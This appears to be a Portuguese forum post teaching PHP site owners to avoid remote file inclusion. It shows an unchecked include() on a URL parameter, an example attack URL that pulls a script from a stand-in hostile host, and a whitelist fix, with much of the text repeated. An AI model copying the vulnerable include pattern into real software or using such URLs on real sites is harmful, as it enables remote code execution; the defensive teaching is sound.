koook!
sou nível 10Sex 25 maio 2012, 2:26 pm | |
Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site...
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem.
Cuidados com a URL – Parte I
Uma falha muito comum são aqueles hp que, tentando usar um sistema “legal”, acabam abusando da sorte… São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:
E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:
Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem.
Cuidados com a URL – Parte I
Uma falha muito comum são aqueles hp que, tentando usar um sistema “legal”, acabam abusando da sorte… São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:
- Código:
<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
?>
E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:
- Código:
<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$permitidos = array('home.php', 'comunidade.php', 'home.php', 'staff.php');
// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false)) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
?>
Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php